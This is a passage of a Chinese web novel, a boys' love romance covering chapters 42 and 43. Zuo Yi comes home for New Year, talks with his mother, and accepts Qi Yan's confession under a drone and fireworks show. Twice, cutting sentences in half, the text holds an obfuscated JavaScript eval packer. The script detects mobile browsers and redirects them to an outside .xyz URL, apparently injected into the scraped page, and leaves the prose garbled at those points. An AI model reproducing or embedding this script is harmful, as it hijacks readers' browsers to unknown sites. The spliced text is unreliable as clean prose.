他默默拿起手机点开和丁文笑的消息框。 [Zorro:他不会也是gay吧?] 42.回到江城 [笑笑:是,你注意点,他应该是看上你了。] [Zorro:我嘞个豆,你看出来了?] [笑笑:翻白眼.jpg] [Zorro:那现在怎么办啊?] [笑笑:没办法了,找机会一起跳车吧。] 左屹眼神幽怨地回头瞥了一眼丁文笑,丁文笑也回以幽怨地眼神盯着他。 左屹对沈南寻说:“那个沈学长,这条路不好走的,我和祁言经历了很多很多才走到今天这一步,所以我们很珍惜对方。” 恰好遇到红灯,沈南寻踩下刹车,撇过头望向左屹的侧脸:“嗯,祁言那小子挺幸运的。” 左屹点头,表示认同。 [Zorro:这下他应该明白我的意思了吧?] [笑笑:呵呵,可能吧。] [Zorro:?] [笑笑:你还是少说点话吧,我怕他痛失所爱,情绪崩溃拉着我们去投江喂鱼。] [Zorro:闭嘴.jpg] 机场到月亮湾小院的路程约40多分钟,一路上左屹咬紧牙关,不再说话刺激沈南寻,认真扣手机和祁言聊天。 [Zorro:你过年真不能回来吗?] [1:周教授这边还没忙完。] [Zorro:那好吧。] [1:到江城了?] [Zorro:嗯嗯,快到小院了。] 您的好友1发来视频通话请求 左屹犹豫了一会,点了拒绝。 左屹小心翼翼地瞟了眼沈南寻,在人家的车上秀恩爱似乎太膈应人了,为了安全到家还是得稳妥点。 您的好友1发来视频通话请求 左屹再次拒绝。 [1:不方便?] 您的好友1发来视频通话请求 沈南寻:“是祁言吗?接吧,你一直挂他会担心的。” 沈学长真是个好人,左屹心道。 左屹接受视频请求,又默默将手机音量按小了几格:“祁言,怎么了?” “为什么一直挂断?”祁言问。 左屹看视频里祁言身后的背景,似乎是在餐厅里:“我在车上,不太方便接。” “嗯?”祁言视频里见左屹的表情快扭成一坨,又问:“在谁的车上?” 即使手机音量已经被左屹调小了,祁言的话还是传到了沈南寻的耳朵里。 他伸手在左屹的脑袋后面晃了晃,语气冷淡地和视频里的人打了个招呼:“嗨。” “沈南寻?”祁言问道。 左屹木讷地点头:“你怎么知道?” 祁言笑道:“他说话那股没有感情的语调,很容易分辨,不过你们怎么会在一起?” 左屹悄悄望了沈南寻一眼,小声解释道:“我们一班飞机碰到的,沈学长变化挺大的,差点认不出来了。” 沈南寻嘴角微微一扬,“祁言,我说你这样算不算是一种污蔑?” 祁言接腔:“我只是陈述事实。” 沈南寻:“你帅气可爱的竹马弟弟可就在我的副驾驶,就不怕我给他绑走藏起来。” 祁言在那边笑着耸了耸肩,“有事冲我来。” 左屹端着手机听他们你一言我一语,看上去很熟的样子,“那个,允许我打断一下……” 沈南寻将手机前置摄像头对准左屹,“我开车,你们聊。” 左屹悄悄问:“你们很熟吗?” 祁言回答:“嗯,他在京西大学金融系,平时有空会约着一起吃饭。” 左屹惊讶:“金融?我记得高中誓师大会他作为优秀学生代表上台演讲的时候,好像说喜欢历史,扬言未来要成为一名考古学家?” “大学听家里的转学金融了。”祁言又说:“你对沈南寻的事记得挺清楚的。” 左屹脸皮跳了跳,反驳道:“刚刚想起来的。” 丁文笑在后座“啧”地一声:“你们俩聊天的声音再大点,我在京西的室友都能听见了。” 沈南寻也露出难得的笑容:“没事,看来左屹对我很好奇。” 左屹心虚道:“就是想到了随口一问,沈学长别介意。” 没一会祁言那边又开始忙碌,匆匆忙忙挂断视频,沈南寻将他们送到月亮湾小院才离开。 离开小院堪堪半年,仿佛过了一个世纪那么久,离开前拱门旁的老槐树枝叶茂密绿油油的,现在已经秃得只剩一片光杆树枝了。 左屹双手脱了行李箱,站在拱门前大喊一声:“小爷我终于回来了!哈哈哈!” 丁文笑累了一路,没精力理会左屹那突如其来的中二病,绕开他走进了单元门,不忘提醒道:“一会帮我把行李箱送上来。” “Yes,madam,保证完成任务!” 左屹屁颠屁颠提着丁文笑的24寸大行李箱弯进一栋单元楼,送完她的,又屁颠屁颠拖着自己的黑色行李箱回家。 “老宋~我回来啦!”左屹家住二楼,还未走进单元楼便扯着嗓子喊道。 老宋未见其人先闻其声,赶紧放下手中正在剁肉馅儿的菜刀,跑到玄关开门迎接。 “老宋,想死我了!”左屹冲上去一个熊抱,老宋往后踉跄了两步。 “呸呸呸,大过年说什么死不死的,不吉利。”老宋拍着玄关的木柜子道:“童言无忌、童言无忌。” 左屹顽皮地吐了下舌头,然后提着行李箱溜进门。 江城以往的冬天是没有京西冷的,可今年不知怎的下了一场冻雨,哪哪都结起厚厚的冰。 路边刮过的风似锋利的刀,吹得人脸生疼。 江城没有集体供暖,室内室外温差不大,左屹哆哆嗦嗦地打开了卧室门,一阵暖洋洋的风扑面而来裹袭全身,他知道是老宋怕他回来不适应室内寒冷,所以早早开好了空调。 房间被老宋打扫得一尘不染,看上去并不像空了半年的样子。 左屹换上居家睡衣瘫在床上,暖气吹得人昏昏欲睡,他恍惚地想着自己的京西行会不会只是做了一场很美很美的梦,其实他从没离开过这里。 回到家里太安逸,反而心里不踏实。 左屹拿起手机给祁言拨去微信语音。 祁言接通后他那边的环境听上去有些嘈杂。 “会不会打扰到你?”左屹询问。 祁言温柔的笑声传了过来,“不会,到家了吗?” “到了呀。”左屹枕着手机,寂寥地抱着枕头嗅了嗅,没有祁言的味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15292972|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 祁言突然问道:“知道我在干什么吗?” “你在开会啊。” 左屹沾沾自喜,这有什么难猜的?语音那头传来的声音早就暴露了。 “猜对了一半。” “嗯?” 祁言用气声说道:“除了在开会,更多是在想你。” 左屹以为祁言故意给了他一个送分题,原来又是朝他抛来一根裹满鱼饵的钩子。 左屹脸颊一热,瞌睡清醒了大半,他笑着指责道:“祁言同志,说话得注意注意场合啊。” 不用猜也知道祁言那边一定有很多人在,他从未在开会这样严肃的场合说这些,但这么做令左屹很受用。 “小屹,”祁言问道:“你呢?” 左屹也用气声对着手机话筒小声回答:“我每分每秒都在想你~” 突然,老宋推开了左屹的房间门,吓得他慌忙挂了跨洋语音,做贼心虚的模样被老宋捕捉得正着。 “哟,忘记敲门了,是不是打扰到你谈恋爱啦?”老宋调侃道:“要不我晚点再来?” 左屹被戳中了心事,将脸埋进枕头里,“老宋~” “咱家帅哥真谈对象了?”老宋开心地在他床边坐下。 左屹抬起头,摇了摇,“还没呢。” 老宋笃定道:“还没?那就是临门一脚了。” “算是吧。”左屹没再否认。 “出息!”老宋喜气洋洋地顺着左屹的后背。 左屹忽然问:“妈,你希望我以后找一个什么样的对象啊?” 老宋仔细想了想,回道:“我的想法不重要,你的人生路啊我和你爸只能陪着走上一段,剩下的路是伴侣陪你走完,所以找对象得以自己的感觉为主,不要问别人。” 左屹听老宋这样说颇为伤感,情绪低落地继续问道“:“妈,如果以后我不要孩子,你和爸会怪我吗?” 老宋笑着打了他一下,“在你心里我和你老爸是那种非逼着你延续香火传宗接代的老古板啊?” 左屹解释:“哎呀,我不是这个意思!” “儿子,现在这个社会可比我们那时候难生存多了,我在你这个年纪的时候家里生活条件不好,但是人大多淳朴。现在社会发展得越快,人心越难测。我打心眼儿里希望你能平安顺遂、快快乐乐地过完这一辈子,如果你认为不要小孩会更幸福,我和你爸都会支持这个决定,但是你得认认真真考虑好,不要后悔。” “我知道了妈,谢谢你,我真的好爱你和老爸呀!”左屹从床上坐起,紧紧拥住老宋的肩膀。 左屹从小便认为老宋和老左真的是这个世界上最好的父母,他本就没有过多担心自己性取向会不被他们接受的事,今天和老宋聊聊,心里更加有底了。 成长的过程中,老左对他说过最多的话便是你决定好的事我们支持,他相信感情上也会一样。 这是原生家庭赋予他的安全感,他也十分愿意将这样的安全感和爱同祁言分享。 “有机会带对象回家吃饭,让我和你爸见见。” 左屹眼眶微润,点头道:“好啊,他见到你们也会很开心的。” 有机会,我一定会带他回家的。 这里本就是他的家呀。 43.爱意升起 左屹回到月亮湾小院以后,日子过于闲散,丁文笑不知忙些什么成天不见人影。 除夕,早晨他下楼跑步,住在一 栋一楼的唐叔刚好打开后院铁门遛大白,大白看见左屹一阵猛嚎,尾巴翘着疯狂甩动,唐叔差点没拉住狗绳,“瞧瞧,小魔王一回来,给我家大白都乐疯了。” 左屹乐呵呵跑过去,“叔,把绳儿给我,我去遛大白。” 唐叔递绳的手又收了回去,嘱咐道:“你小子别又薅我家大白的毛啊!” “不薅不薅!”左屹笑嘻嘻接过狗绳,牵着大白往院里的小花园去。 大白是纯正的萨摩耶,体型偏大,精力充沛地随时可能会爆冲,可在左屹的魔爪下它老老实实地跟在身侧贴边走,看上去不敢造次。 左屹回想唐叔的那句嘱咐,不由笑出声。 “大白啊大白,你可真是狗生坎坷,一岁就遇到我这么个薅你毛的坏蛋。”左屹牵着大白调侃道。 那是左屹刚上高一的时候,唐叔将一岁的大白带回小院,祁言每天都要给大白喂一根火腿肠,然后跟它梳梳毛。 记得左屹那时还特嫌弃和大白玩,每次逗弄一会,粘得衣服上都是细软的白毛,回家免不了被老宋一顿骂。 可祁言就是喜欢,一天不帮大白顺顺毛浑身不得劲儿,左屹便想了个一不做二不休的方法。 他趁祁言回家后,去找唐叔将大白骗出来,然后带到花园里被左屹骑在身下一顿猛顺,顺下来不少浮毛。 他打算将收集到的狗狗浮毛做个狗毛毡挂件儿送给祁言玩玩,可惜毛是收集了一堆,毛毡做不好,中途放弃了。 大白委屈巴巴地任由小魔王在它脑袋上使坏,从此它害怕的不是主人唐叔,而是将它当老□□的左屹。 左屹带着大白在小区里遛了好几圈,才带到花园秋千那边休息,他又拍了几张和大白的合照发给祁言,却未得到回复。 左屹坐在秋千上,双腿夹着大白不让他到处乱跑,然后一双手疯狂在它头顶搓揉,“想不想我呀,大白白~” “啊呜,啊呜~”大白仰天长嚎了两嗓子,给足了大哥排面。 左屹开心道:“好小子,学了新技能啊!下次等你言哥回来,也给他这么嚎两下。” 一人一狗在花园里玩了足足两个多小时,左屹才依依不舍地将大白送回唐叔家的后院。 祁言一整天没有消息,左屹的心脏开始没有规律地打起拨浪鼓,忽上忽下,惴惴不安。 家里再热闹的气氛也捂不热左屹如坠冰窟的情绪,晚上和一众亲戚吃完年夜饭,他连看春晚的心思都没有,早早回了房间和祁言打语音电话。 连着打了十几通都没人接,左屹焦躁心烦,谁会无缘无故在除夕夜玩消失? 想到前段时间国外频频发生的枪击案,他坐也不是,站也不是。 他们两人一个在北半球,一个在南半球,想出门去找也是天方夜谭。 就在左屹焦急万分的时候,他接到丁文笑的电话,还未等他先开口说话,对面便传来鼻音浓厚的哭腔:“左屹,我失恋了。” “……???”左屹不敢相信自己的耳朵。 丁文笑? 失恋了? “什么情况?”一波未平一波又起,左屹难忍焦躁的情绪。 丁文笑抽泣道:“见面说吧,我在江滩广场,你方便来接我吗,我刚刚崴了脚,现在走不动了。” “找个安全的地方等我。”左屹抓上羽绒服便往房门外冲。 老左端着一盘水果刚要送进去,被火急火燎开门的左屹撞得一个趔趄:“除夕夜不在家守岁,你往哪儿跑啊?” “去接人~”左屹跑了。 月亮湾小院到江滩广场打车过去仅十几分钟,可除夕夜拦不到出租车,左屹只能跑着去。 整个江滩公园这个时间都没什么人,园区里连路灯都是昏暗不清的,江滩广场在园区深处,越往里走路越黑。 他拿出手机和丁文笑联系,丁文笑接通后依旧抽泣不止,“到了没?” “快了,你就在江滩广场中心等我,我来找你。” “好!” 左屹再次跑动起来,广场中心离自己越来越近,风声在耳边长啸,江涛在不远处翻涌,船笛突然长鸣,惊得他脚下一顿。 不远处便是广场中心,那儿有一抹高挑的身影,黑夜视觉有限左屹看得不够确切,他唤了声:“丁文笑?” 无人回应。 左屹一点一点朝那抹黑影走去,可见度越来越清晰。 那人的轮廓开始变得眼熟,很眼熟。 他穿着一身米色大衣,围着一条灰色羊绒围巾,身材依旧是那么完美。 一个多月不见,头发变长了些。 “祁言,是你吗?” 左屹轻轻喊了声,脚下踩着的瓷砖路开始变得松软,时间变得漫长,他不再能听见呼啸的风声和翻涌的江涛,只能看见眼前那个向他展开双臂的祁言。 “是我。” 在左屹加快步伐往祁言怀里奔跑的瞬间,广场四周升起百架无人机。 泛着星光的无人机升起后又一排排落下,像一场没有预兆的流星雨划破长空。 在星辰的照耀下,左屹准确无误地落进祁言的怀抱里,再也逃不出去。 祁言将手臂牢牢收紧,光明正大地在长江边拥抱着他的全世界。 “我回来了。” 左屹的脑袋埋在祁言的胸前,点了点,“你终于回来了。” 无人机在黑夜中变换编队,流星雨结束后又组成一颗绿色立体的奇异果,祁言拿手机的动作惊动了怀里的左屹。 他抬起头看向天空,他们站在巨型奇异果之下紧紧相拥。 祁言伏在左屹的耳边,深情款款道:“小屹,没有你在身边的日子,朝阳和黑夜与我而言毫无区别,当你再次出现在我的眼前,我忽然懂得死去很久的心脏它重新恢复了跳动是种什么感觉,某一刻我突然很庆幸自己还能呼吸,还可以走向你然后拥抱你。我喜欢你,偷偷喜欢了很久很久,久到我快忘记一切,却唯独记得我喜欢的人叫左屹。” “记不记得,你还欠我一个奖励。” 左屹将目光移到祁言深情的脸庞:“奖励?” 想起来了,好像是那夜两人相拥在病床上,祁言说他的鼻尖痣很可爱时申请的奖励。 “我记得。”他说。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15301175|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在我想兑换了。” “兑换什么?”左屹尽量克制着语气里的颤抖。 祁言道:“我想兑换一个机会。” “什么?”左屹的心脏越跳越快。 “允许我爱你、亲吻你、照顾你、成为你男朋友的机会。” 祁言的表白似是一种蛊,带着无尽诱惑力的情蛊,一点一点往左屹的心脏里钻。 左屹心甘情愿地接受它们的侵蚀,他希望这蛊可以停留在他们的心脏里,永远不要消失。 “好,我允许你成为我的男朋友。” 他再次落入祁言的怀里,贪婪地吸取他的味道。 左屹的心脏痒痒的,口腔里分泌的唾液带着一股香甜,原来这就是我爱的人,刚巧也爱我的感觉。 无人机逐渐散开落下,随之升腾而起的是五彩斑斓的烟火,一颗颗发光的小球在空中炸开,变成一朵又一朵万紫千红的花。 在漫天的花海里,在波涛汹涌的长江边,祁言名正言顺地吻上了左屹软嫩的唇,他品尝的这颗香甜的果实不再是红色禁果,而是独属于他的樱桃。 左屹闭上眼睛回应着,这是他和祁言确定关系后的第一个吻,他想一定得是难忘的、极致的、不顾一切的。 左屹先是吮吸,后来也开始学习着侵占祁言的领地,两人的舌互相交缠着,唇与唇势均力敌地碰撞着。 情到浓时,左屹唇齿间发出一声气喘,祁言才依依不舍地退离已被他攻占的城池。 烟花落幕,爱意升起。 左屹的眸色下尽是春情,祁言冰凉的手抚在他灼热红肿的唇上,替他消肿。 左屹抬起手环抱上祁言的腰:“那以后我们就是一对儿了?” “嗯。”祁言点头,然后将他朝自己搂紧。 左屹对他的回答不够满意,“能不能多说几句?不然我觉得不真实。” “想听我说什么?”祁言问。 左屹想了想道:“那就说说今天这出你筹划多久了?” 祁言搂着他,又亲吻了一下左屹的头发,“在你和我表白之后。” “嘻嘻,对了,”左屹突然想起来,他是来找丁文笑的,“你把我笑姐弄哪儿去了?” 祁言取下灰色围巾为左屹系上,然后他牵着男朋友的手,“走,我带你去找她。” 他们走到一座小木屋前,左屹听见小屋子里不止一个人在说话,还有一个男生的声音。 推开门一看,逼仄的小木屋里坐着丁文笑和沈南寻。 夜晚,祁言随左屹和丁文笑一起回月亮湾小院,铁三角终于又回到了他们的地盘。 他们一人占领一个秋千。 丁文笑:“换作一年前的我肯定不敢相信我们之间竟然能出一对情侣。” 左屹:“还是俩男的凑一对了。” 祁言看了左屹一眼,然后点头:“嗯。” 丁文笑:“突然有种自己养大的白菜被看着自己长大的猪拱了的感觉,心情还挺复杂的。” 左屹、祁言:“……?” 左屹:“谁是白菜?” 祁言:“谁是猪?” “哈哈哈!”丁文笑仰天大笑,“祝福你们,我的朋友~”